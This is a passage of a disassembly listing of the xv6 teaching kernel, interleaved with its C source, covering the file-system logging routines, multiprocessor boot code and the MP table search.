dst 80102985: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax for (tail = 0; tail < log.lh.n; tail++) { 8010298c: 83 c3 01 add $0x1,%ebx struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 8010298f: 89 44 24 04 mov %eax,0x4(%esp) 80102993: a1 c4 26 11 80 mov 0x801126c4,%eax 80102998: 89 04 24 mov %eax,(%esp) 8010299b: e8 30 d7 ff ff call 801000d0 <bread> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 801029a0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 801029a7: 00 struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029a8: 89 c6 mov %eax,%esi memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 801029aa: 8d 47 5c lea 0x5c(%edi),%eax 801029ad: 89 44 24 04 mov %eax,0x4(%esp) 801029b1: 8d 46 5c lea 0x5c(%esi),%eax 801029b4: 89 04 24 mov %eax,(%esp) 801029b7: e8 54 19 00 00 call 80104310 <memmove> bwrite(dbuf); // write dst to disk 801029bc: 89 34 24 mov %esi,(%esp) 801029bf: e8 dc d7 ff ff call 801001a0 <bwrite> brelse(lbuf); 801029c4: 89 3c 24 mov %edi,(%esp) 801029c7: e8 14 d8 ff ff call 801001e0 <brelse> brelse(dbuf); 801029cc: 89 34 24 mov %esi,(%esp) 801029cf: e8 0c d8 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 801029d4: 39 1d c8 26 11 80 cmp %ebx,0x801126c8 801029da: 7f 8c jg 80102968 <install_trans+0x18> } } 801029dc: 83 c4 1c add $0x1c,%esp 801029df: 5b pop %ebx 801029e0: 5e pop %esi 801029e1: 5f pop %edi 801029e2: 5d pop %ebp 801029e3: c3 ret 801029e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801029ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801029f0 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 801029f0: 55 push %ebp 801029f1: 89 e5 mov %esp,%ebp 801029f3: 57 push %edi 801029f4: 56 push %esi 801029f5: 53 push %ebx 801029f6: 83 ec 1c sub $0x1c,%esp struct buf *buf = bread(log.dev, log.start); 801029f9: a1 b4 26 11 80 mov 0x801126b4,%eax 801029fe: 89 44 24 04 mov %eax,0x4(%esp) 80102a02: a1 c4 26 11 80 mov 0x801126c4,%eax 80102a07: 89 04 24 mov %eax,(%esp) 80102a0a: e8 c1 d6 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102a0f: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx for (i = 0; i < log.lh.n; i++) { 80102a15: 31 d2 xor %edx,%edx 80102a17: 85 db test %ebx,%ebx struct buf *buf = bread(log.dev, log.start); 80102a19: 89 c7 mov %eax,%edi hb->n = log.lh.n; 80102a1b: 89 58 5c mov %ebx,0x5c(%eax) 80102a1e: 8d 70 5c lea 0x5c(%eax),%esi for (i = 0; i < log.lh.n; i++) { 80102a21: 7e 17 jle 80102a3a <write_head+0x4a> 80102a23: 90 nop 80102a24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi hb->block[i] = log.lh.block[i]; 80102a28: 8b 0c 95 cc 26 11 80 mov -0x7feed934(,%edx,4),%ecx 80102a2f: 89 4c 96 04 mov %ecx,0x4(%esi,%edx,4) for (i = 0; i < log.lh.n; i++) { 80102a33: 83 c2 01 add $0x1,%edx 80102a36: 39 da cmp %ebx,%edx 80102a38: 75 ee jne 80102a28 <write_head+0x38> } bwrite(buf); 80102a3a: 89 3c 24 mov %edi,(%esp) 80102a3d: e8 5e d7 ff ff call 801001a0 <bwrite> brelse(buf); 80102a42: 89 3c 24 mov %edi,(%esp) 80102a45: e8 96 d7 ff ff call 801001e0 <brelse> } 80102a4a: 83 c4 1c add $0x1c,%esp 80102a4d: 5b pop %ebx 80102a4e: 5e pop %esi 80102a4f: 5f pop %edi 80102a50: 5d pop %ebp 80102a51: c3 ret 80102a52: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102a59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102a60 <initlog>: { 80102a60: 55 push %ebp 80102a61: 89 e5 mov %esp,%ebp 80102a63: 56 push %esi 80102a64: 53 push %ebx 80102a65: 83 ec 30 sub $0x30,%esp 80102a68: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&log.lock, "log"); 80102a6b: c7 44 24 04 c0 72 10 movl $0x801072c0,0x4(%esp) 80102a72: 80 80102a73: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102a7a: e8 c1 15 00 00 call 80104040 <initlock> readsb(dev, &sb); 80102a7f: 8d 45 dc lea -0x24(%ebp),%eax 80102a82: 89 44 24 04 mov %eax,0x4(%esp) 80102a86: 89 1c 24 mov %ebx,(%esp) 80102a89: e8 f2 e8 ff ff call 80101380 <readsb> log.start = sb.logstart; 80102a8e: 8b 45 ec mov -0x14(%ebp),%eax log.size = sb.nlog; 80102a91: 8b 55 e8 mov -0x18(%ebp),%edx struct buf *buf = bread(log.dev, log.start); 80102a94: 89 1c 24 mov %ebx,(%esp) log.dev = dev; 80102a97: 89 1d c4 26 11 80 mov %ebx,0x801126c4 struct buf *buf = bread(log.dev, log.start); 80102a9d: 89 44 24 04 mov %eax,0x4(%esp) log.size = sb.nlog; 80102aa1: 89 15 b8 26 11 80 mov %edx,0x801126b8 log.start = sb.logstart; 80102aa7: a3 b4 26 11 80 mov %eax,0x801126b4 struct buf *buf = bread(log.dev, log.start); 80102aac: e8 1f d6 ff ff call 801000d0 <bread> for (i = 0; i < log.lh.n; i++) { 80102ab1: 31 d2 xor %edx,%edx log.lh.n = lh->n; 80102ab3: 8b 58 5c mov 0x5c(%eax),%ebx 80102ab6: 8d 70 5c lea 0x5c(%eax),%esi for (i = 0; i < log.lh.n; i++) { 80102ab9: 85 db test %ebx,%ebx log.lh.n = lh->n; 80102abb: 89 1d c8 26 11 80 mov %ebx,0x801126c8 for (i = 0; i < log.lh.n; i++) { 80102ac1: 7e 17 jle 80102ada <initlog+0x7a> 80102ac3: 90 nop 80102ac4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi log.lh.block[i] = lh->block[i]; 80102ac8: 8b 4c 96 04 mov 0x4(%esi,%edx,4),%ecx 80102acc: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) for (i = 0; i < log.lh.n; i++) { 80102ad3: 83 c2 01 add $0x1,%edx 80102ad6: 39 da cmp %ebx,%edx 80102ad8: 75 ee jne 80102ac8 <initlog+0x68> brelse(buf); 80102ada: 89 04 24 mov %eax,(%esp) 80102add: e8 fe d6 ff ff call 801001e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102ae2: e8 69 fe ff ff call 80102950 <install_trans> log.lh.n = 0; 80102ae7: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102aee: 00 00 00 write_head(); // clear the log 80102af1: e8 fa fe ff ff call 801029f0 <write_head> } 80102af6: 83 c4 30 add $0x30,%esp 80102af9: 5b pop %ebx 80102afa: 5e pop %esi 80102afb: 5d pop %ebp 80102afc: c3 ret 80102afd: 8d 76 00 lea 0x0(%esi),%esi 80102b00 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102b00: 55 push %ebp 80102b01: 89 e5 mov %esp,%ebp 80102b03: 83 ec 18 sub $0x18,%esp acquire(&log.lock); 80102b06: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b0d: e8 1e 16 00 00 call 80104130 <acquire> 80102b12: eb 18 jmp 80102b2c <begin_op+0x2c> 80102b14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102b18: c7 44 24 04 80 26 11 movl $0x80112680,0x4(%esp) 80102b1f: 80 80102b20: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b27: e8 c4 10 00 00 call 80103bf0 <sleep> if(log.committing){ 80102b2c: a1 c0 26 11 80 mov 0x801126c0,%eax 80102b31: 85 c0 test %eax,%eax 80102b33: 75 e3 jne 80102b18 <begin_op+0x18> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102b35: a1 bc 26 11 80 mov 0x801126bc,%eax 80102b3a: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102b40: 83 c0 01 add $0x1,%eax 80102b43: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102b46: 8d 14 4a lea (%edx,%ecx,2),%edx 80102b49: 83 fa 1e cmp $0x1e,%edx 80102b4c: 7f ca jg 80102b18 <begin_op+0x18> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102b4e: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) log.outstanding += 1; 80102b55: a3 bc 26 11 80 mov %eax,0x801126bc release(&log.lock); 80102b5a: e8 c1 16 00 00 call 80104220 <release> break; } } } 80102b5f: c9 leave 80102b60: c3 ret 80102b61: eb 0d jmp 80102b70 <end_op> 80102b63: 90 nop 80102b64: 90 nop 80102b65: 90 nop 80102b66: 90 nop 80102b67: 90 nop 80102b68: 90 nop 80102b69: 90 nop 80102b6a: 90 nop 80102b6b: 90 nop 80102b6c: 90 nop 80102b6d: 90 nop 80102b6e: 90 nop 80102b6f: 90 nop 80102b70 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102b70: 55 push %ebp 80102b71: 89 e5 mov %esp,%ebp 80102b73: 57 push %edi 80102b74: 56 push %esi 80102b75: 53 push %ebx 80102b76: 83 ec 1c sub $0x1c,%esp int do_commit = 0; acquire(&log.lock); 80102b79: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b80: e8 ab 15 00 00 call 80104130 <acquire> log.outstanding -= 1; 80102b85: a1 bc 26 11 80 mov 0x801126bc,%eax if(log.committing) 80102b8a: 8b 15 c0 26 11 80 mov 0x801126c0,%edx log.outstanding -= 1; 80102b90: 83 e8 01 sub $0x1,%eax if(log.committing) 80102b93: 85 d2 test %edx,%edx log.outstanding -= 1; 80102b95: a3 bc 26 11 80 mov %eax,0x801126bc if(log.committing) 80102b9a: 0f 85 f3 00 00 00 jne 80102c93 <end_op+0x123> panic("log.committing"); if(log.outstanding == 0){ 80102ba0: 85 c0 test %eax,%eax 80102ba2: 0f 85 cb 00 00 00 jne 80102c73 <end_op+0x103> // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102ba8: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) } static void commit() { if (log.lh.n > 0) { 80102baf: 31 db xor %ebx,%ebx log.committing = 1; 80102bb1: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0 80102bb8: 00 00 00 release(&log.lock); 80102bbb: e8 60 16 00 00 call 80104220 <release> if (log.lh.n > 0) { 80102bc0: a1 c8 26 11 80 mov 0x801126c8,%eax 80102bc5: 85 c0 test %eax,%eax 80102bc7: 0f 8e 90 00 00 00 jle 80102c5d <end_op+0xed> 80102bcd: 8d 76 00 lea 0x0(%esi),%esi struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102bd0: a1 b4 26 11 80 mov 0x801126b4,%eax 80102bd5: 01 d8 add %ebx,%eax 80102bd7: 83 c0 01 add $0x1,%eax 80102bda: 89 44 24 04 mov %eax,0x4(%esp) 80102bde: a1 c4 26 11 80 mov 0x801126c4,%eax 80102be3: 89 04 24 mov %eax,(%esp) 80102be6: e8 e5 d4 ff ff call 801000d0 <bread> 80102beb: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102bed: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax for (tail = 0; tail < log.lh.n; tail++) { 80102bf4: 83 c3 01 add $0x1,%ebx struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102bf7: 89 44 24 04 mov %eax,0x4(%esp) 80102bfb: a1 c4 26 11 80 mov 0x801126c4,%eax 80102c00: 89 04 24 mov %eax,(%esp) 80102c03: e8 c8 d4 ff ff call 801000d0 <bread> memmove(to->data, from->data, BSIZE); 80102c08: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 80102c0f: 00 struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c10: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102c12: 8d 40 5c lea 0x5c(%eax),%eax 80102c15: 89 44 24 04 mov %eax,0x4(%esp) 80102c19: 8d 46 5c lea 0x5c(%esi),%eax 80102c1c: 89 04 24 mov %eax,(%esp) 80102c1f: e8 ec 16 00 00 call 80104310 <memmove> bwrite(to); // write the log 80102c24: 89 34 24 mov %esi,(%esp) 80102c27: e8 74 d5 ff ff call 801001a0 <bwrite> brelse(from); 80102c2c: 89 3c 24 mov %edi,(%esp) 80102c2f: e8 ac d5 ff ff call 801001e0 <brelse> brelse(to); 80102c34: 89 34 24 mov %esi,(%esp) 80102c37: e8 a4 d5 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102c3c: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx 80102c42: 7c 8c jl 80102bd0 <end_op+0x60> write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102c44: e8 a7 fd ff ff call 801029f0 <write_head> install_trans(); // Now install writes to home locations 80102c49: e8 02 fd ff ff call 80102950 <install_trans> log.lh.n = 0; 80102c4e: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102c55: 00 00 00 write_head(); // Erase the transaction from the log 80102c58: e8 93 fd ff ff call 801029f0 <write_head> acquire(&log.lock); 80102c5d: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c64: e8 c7 14 00 00 call 80104130 <acquire> log.committing = 0; 80102c69: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0 80102c70: 00 00 00 wakeup(&log); 80102c73: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c7a: e8 01 11 00 00 call 80103d80 <wakeup> release(&log.lock); 80102c7f: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c86: e8 95 15 00 00 call 80104220 <release> } 80102c8b: 83 c4 1c add $0x1c,%esp 80102c8e: 5b pop %ebx 80102c8f: 5e pop %esi 80102c90: 5f pop %edi 80102c91: 5d pop %ebp 80102c92: c3 ret panic("log.committing"); 80102c93: c7 04 24 c4 72 10 80 movl $0x801072c4,(%esp) 80102c9a: e8 c1 d6 ff ff call 80100360 <panic> 80102c9f: 90 nop 80102ca0 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102ca0: 55 push %ebp 80102ca1: 89 e5 mov %esp,%ebp 80102ca3: 53 push %ebx 80102ca4: 83 ec 14 sub $0x14,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102ca7: a1 c8 26 11 80 mov 0x801126c8,%eax { 80102cac: 8b 5d 08 mov 0x8(%ebp),%ebx if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102caf: 83 f8 1d cmp $0x1d,%eax 80102cb2: 0f 8f 98 00 00 00 jg 80102d50 <log_write+0xb0> 80102cb8: 8b 0d b8 26 11 80 mov 0x801126b8,%ecx 80102cbe: 8d 51 ff lea -0x1(%ecx),%edx 80102cc1: 39 d0 cmp %edx,%eax 80102cc3: 0f 8d 87 00 00 00 jge 80102d50 <log_write+0xb0> panic("too big a transaction"); if (log.outstanding < 1) 80102cc9: a1 bc 26 11 80 mov 0x801126bc,%eax 80102cce: 85 c0 test %eax,%eax 80102cd0: 0f 8e 86 00 00 00 jle 80102d5c <log_write+0xbc> panic("log_write outside of trans"); acquire(&log.lock); 80102cd6: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102cdd: e8 4e 14 00 00 call 80104130 <acquire> for (i = 0; i < log.lh.n; i++) { 80102ce2: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102ce8: 83 fa 00 cmp $0x0,%edx 80102ceb: 7e 54 jle 80102d41 <log_write+0xa1> if (log.lh.block[i] == b->blockno) // log absorbtion 80102ced: 8b 4b 08 mov 0x8(%ebx),%ecx for (i = 0; i < log.lh.n; i++) { 80102cf0: 31 c0 xor %eax,%eax if (log.lh.block[i] == b->blockno) // log absorbtion 80102cf2: 39 0d cc 26 11 80 cmp %ecx,0x801126cc 80102cf8: 75 0f jne 80102d09 <log_write+0x69> 80102cfa: eb 3c jmp 80102d38 <log_write+0x98> 80102cfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102d00: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4) 80102d07: 74 2f je 80102d38 <log_write+0x98> for (i = 0; i < log.lh.n; i++) { 80102d09: 83 c0 01 add $0x1,%eax 80102d0c: 39 d0 cmp %edx,%eax 80102d0e: 75 f0 jne 80102d00 <log_write+0x60> break; } log.lh.block[i] = b->blockno; 80102d10: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) if (i == log.lh.n) log.lh.n++; 80102d17: 83 c2 01 add $0x1,%edx 80102d1a: 89 15 c8 26 11 80 mov %edx,0x801126c8 b->flags |= B_DIRTY; // prevent eviction 80102d20: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); 80102d23: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp) } 80102d2a: 83 c4 14 add $0x14,%esp 80102d2d: 5b pop %ebx 80102d2e: 5d pop %ebp release(&log.lock); 80102d2f: e9 ec 14 00 00 jmp 80104220 <release> 80102d34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi log.lh.block[i] = b->blockno; 80102d38: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4) 80102d3f: eb df jmp 80102d20 <log_write+0x80> 80102d41: 8b 43 08 mov 0x8(%ebx),%eax 80102d44: a3 cc 26 11 80 mov %eax,0x801126cc if (i == log.lh.n) 80102d49: 75 d5 jne 80102d20 <log_write+0x80> 80102d4b: eb ca jmp 80102d17 <log_write+0x77> 80102d4d: 8d 76 00 lea 0x0(%esi),%esi panic("too big a transaction"); 80102d50: c7 04 24 d3 72 10 80 movl $0x801072d3,(%esp) 80102d57: e8 04 d6 ff ff call 80100360 <panic> panic("log_write outside of trans"); 80102d5c: c7 04 24 e9 72 10 80 movl $0x801072e9,(%esp) 80102d63: e8 f8 d5 ff ff call 80100360 <panic> 80102d68: 66 90 xchg %ax,%ax 80102d6a: 66 90 xchg %ax,%ax 80102d6c: 66 90 xchg %ax,%ax 80102d6e: 66 90 xchg %ax,%ax 80102d70 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102d70: 55 push %ebp 80102d71: 89 e5 mov %esp,%ebp 80102d73: 53 push %ebx 80102d74: 83 ec 14 sub $0x14,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102d77: e8 f4 08 00 00 call 80103670 <cpuid> 80102d7c: 89 c3 mov %eax,%ebx 80102d7e: e8 ed 08 00 00 call 80103670 <cpuid> 80102d83: 89 5c 24 08 mov %ebx,0x8(%esp) 80102d87: c7 04 24 04 73 10 80 movl $0x80107304,(%esp) 80102d8e: 89 44 24 04 mov %eax,0x4(%esp) 80102d92: e8 b9 d8 ff ff call 80100650 <cprintf> idtinit(); // load idt register 80102d97: e8 34 27 00 00 call 801054d0 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80102d9c: e8 4f 08 00 00 call 801035f0 <mycpu> 80102da1: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80102da3: b8 01 00 00 00 mov $0x1,%eax 80102da8: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 80102daf: e8 9c 0b 00 00 call 80103950 <scheduler> 80102db4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102dba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80102dc0 <mpenter>: { 80102dc0: 55 push %ebp 80102dc1: 89 e5 mov %esp,%ebp 80102dc3: 83 ec 08 sub $0x8,%esp switchkvm(); 80102dc6: e8 55 38 00 00 call 80106620 <switchkvm> seginit(); 80102dcb: e8 10 37 00 00 call 801064e0 <seginit> lapicinit(); 80102dd0: e8 8b f8 ff ff call 80102660 <lapicinit> mpmain(); 80102dd5: e8 96 ff ff ff call 80102d70 <mpmain> 80102dda: 66 90 xchg %ax,%ax 80102ddc: 66 90 xchg %ax,%ax 80102dde: 66 90 xchg %ax,%ax 80102de0 <main>: { 80102de0: 55 push %ebp 80102de1: 89 e5 mov %esp,%ebp 80102de3: 53 push %ebx // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80102de4: bb 80 27 11 80 mov $0x80112780,%ebx { 80102de9: 83 e4 f0 and $0xfffffff0,%esp 80102dec: 83 ec 10 sub $0x10,%esp kinit1(end, P2V(4*1024*1024)); // phys page allocator 80102def: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp) 80102df6: 80 80102df7: c7 04 24 f4 58 11 80 movl $0x801158f4,(%esp) 80102dfe: e8 cd f5 ff ff call 801023d0 <kinit1> kvmalloc(); // kernel page table 80102e03: e8 c8 3c 00 00 call 80106ad0 <kvmalloc> mpinit(); // detect other processors 80102e08: e8 73 01 00 00 call 80102f80 <mpinit> 80102e0d: 8d 76 00 lea 0x0(%esi),%esi lapicinit(); // interrupt controller 80102e10: e8 4b f8 ff ff call 80102660 <lapicinit> seginit(); // segment descriptors 80102e15: e8 c6 36 00 00 call 801064e0 <seginit> picinit(); // disable pic 80102e1a: e8 21 03 00 00 call 80103140 <picinit> 80102e1f: 90 nop ioapicinit(); // another interrupt controller 80102e20: e8 cb f3 ff ff call 801021f0 <ioapicinit> consoleinit(); // console hardware 80102e25: e8 26 db ff ff call 80100950 <consoleinit> uartinit(); // serial port 80102e2a: e8 51 2a 00 00 call 80105880 <uartinit> 80102e2f: 90 nop pinit(); // process table 80102e30: e8 9b 07 00 00 call 801035d0 <pinit> shminit(); // shared memory 80102e35: e8 66 3f 00 00 call 80106da0 <shminit> tvinit(); // trap vectors 80102e3a: e8 f1 25 00 00 call 80105430 <tvinit> 80102e3f: 90 nop binit(); // buffer cache 80102e40: e8 fb d1 ff ff call 80100040 <binit> fileinit(); // file table 80102e45: e8 e6 de ff ff call 80100d30 <fileinit> ideinit(); // disk 80102e4a: e8 a1 f1 ff ff call 80101ff0 <ideinit> memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80102e4f: c7 44 24 08 8a 00 00 movl $0x8a,0x8(%esp) 80102e56: 00 80102e57: c7 44 24 04 8c a4 10 movl $0x8010a48c,0x4(%esp) 80102e5e: 80 80102e5f: c7 04 24 00 70 00 80 movl $0x80007000,(%esp) 80102e66: e8 a5 14 00 00 call 80104310 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 80102e6b: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102e72: 00 00 00 80102e75: 05 80 27 11 80 add $0x80112780,%eax 80102e7a: 39 d8 cmp %ebx,%eax 80102e7c: 76 65 jbe 80102ee3 <main+0x103> 80102e7e: 66 90 xchg %ax,%ax if(c == mycpu()) // We've started already. 80102e80: e8 6b 07 00 00 call 801035f0 <mycpu> 80102e85: 39 d8 cmp %ebx,%eax 80102e87: 74 41 je 80102eca <main+0xea> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80102e89: e8 02 f6 ff ff call 80102490 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; *(void**)(code-8) = mpenter; 80102e8e: c7 05 f8 6f 00 80 c0 movl $0x80102dc0,0x80006ff8 80102e95: 2d 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80102e98: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4 80102e9f: 90 10 00 *(void**)(code-4) = stack + KSTACKSIZE; 80102ea2: 05 00 10 00 00 add $0x1000,%eax 80102ea7: a3 fc 6f 00 80 mov %eax,0x80006ffc lapicstartap(c->apicid, V2P(code)); 80102eac: 0f b6 03 movzbl (%ebx),%eax 80102eaf: c7 44 24 04 00 70 00 movl $0x7000,0x4(%esp) 80102eb6: 00 80102eb7: 89 04 24 mov %eax,(%esp) 80102eba: e8 e1 f8 ff ff call 801027a0 <lapicstartap> 80102ebf: 90 nop // wait for cpu to finish mpmain() while(c->started == 0) 80102ec0: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80102ec6: 85 c0 test %eax,%eax 80102ec8: 74 f6 je 80102ec0 <main+0xe0> for(c = cpus; c < cpus+ncpu; c++){ 80102eca: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102ed1: 00 00 00 80102ed4: 81 c3 b0 00 00 00 add $0xb0,%ebx 80102eda: 05 80 27 11 80 add $0x80112780,%eax 80102edf: 39 c3 cmp %eax,%ebx 80102ee1: 72 9d jb 80102e80 <main+0xa0> kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80102ee3: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp) 80102eea: 8e 80102eeb: c7 04 24 00 00 40 80 movl $0x80400000,(%esp) 80102ef2: e8 49 f5 ff ff call 80102440 <kinit2> userinit(); // first user process 80102ef7: e8 c4 07 00 00 call 801036c0 <userinit> mpmain(); // finish this processor's setup 80102efc: e8 6f fe ff ff call 80102d70 <mpmain> 80102f01: 66 90 xchg %ax,%ax 80102f03: 66 90 xchg %ax,%ax 80102f05: 66 90 xchg %ax,%ax 80102f07: 66 90 xchg %ax,%ax 80102f09: 66 90 xchg %ax,%ax 80102f0b: 66 90 xchg %ax,%ax 80102f0d: 66 90 xchg %ax,%ax 80102f0f: 90 nop 80102f10 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f10: 55 push %ebp 80102f11: 89 e5 mov %esp,%ebp 80102f13: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80102f14: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi { 80102f1a: 53 push %ebx e = addr+len; 80102f1b: 8d 1c 16 lea (%esi,%edx,1),%ebx { 80102f1e: 83 ec 10 sub $0x10,%esp for(p = addr; p < e; p += sizeof(struct mp)) 80102f21: 39 de cmp %ebx,%esi 80102f23: 73 3c jae 80102f61 <mpsearch1+0x51> 80102f25: 8d 76 00 lea 0x0(%esi),%esi if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f28: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 80102f2f: 00 80102f30: c7 44 24 04 18 73 10 movl $0x80107318,0x4(%esp) 80102f37: 80 80102f38: 89 34 24 mov %esi,(%esp) 80102f3b: e8 80 13 00 00 call 801042c0 <memcmp> 80102f40: 85 c0 test %eax,%eax 80102f42: 75 16 jne 80102f5a <mpsearch1+0x4a> 80102f44: 31 c9 xor %ecx,%ecx 80102f46: 31 d2 xor %edx,%edx sum += addr[i]; 80102f48: 0f b6 04 16 movzbl (%esi,%edx,1),%eax for(i=0; i<len; i++) 80102f4c: 83 c2 01 add $0x1,%edx sum += addr[i]; 80102f4f: 01 c1 add %eax,%ecx for(i=0; i<len; i++) 80102f51: 83 fa 10 cmp $0x10,%edx 80102f54: 75 f2 jne 80102f48 <mpsearch1+0x38> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f56: 84 c9 test %cl,%cl 80102f58: 74 10 je 80102f6a <mpsearch1+0x5a> for(p = addr; p < e; p += sizeof(struct mp)) 80102f5a: 83 c6 10 add $0x10,%esi 80102f5d: 39 f3 cmp %esi,%ebx 80102f5f: 77 c7 ja 80102f28 <mpsearch1+0x18> return (struct mp*)p; return 0; } 80102f61: 83 c4 10 add $0x10,%esp return 0; 80102f64: 31 c0 xor %eax,%eax } 80102f66: 5b pop %ebx 80102f67: 5e pop %esi 80102f68: 5d pop %ebp 80102f69: c3 ret 80102f6a: 83 c4 10 add $0x10,%esp 80102f6d: 89 f0 mov %esi,%eax 80102f6f: 5b pop %ebx 80102f70: 5e pop %esi 80102f71: 5d pop %ebp 80102f72: c3 ret 80102f73: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102f79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102f80 <mpinit>: return conf; } void mpinit(void) { 80102f80: 55 push %ebp 80102f81: 89 e5 mov %esp,%ebp 80102f83: 57 push %edi 80102f84: 56 push %esi 80102f85: 53 push %ebx 80102f86: 83 ec 1c sub $0x1c,%esp if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80102f89: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80102f90: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 80102f97: c1 e0 08 shl $0x8,%eax 80102f9a: 09 d0 or %edx,%eax 80102f9c: c1 e0 04 shl $0x4,%eax 80102f9f: 85 c0 test %eax,%eax 80102fa1: 75 1b jne 80102fbe <mpinit+0x3e> p = ((bda[0x14]<<8)|bda[0x13])*1024; 80102fa3: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 80102faa: 0f b6 15 13 04 00 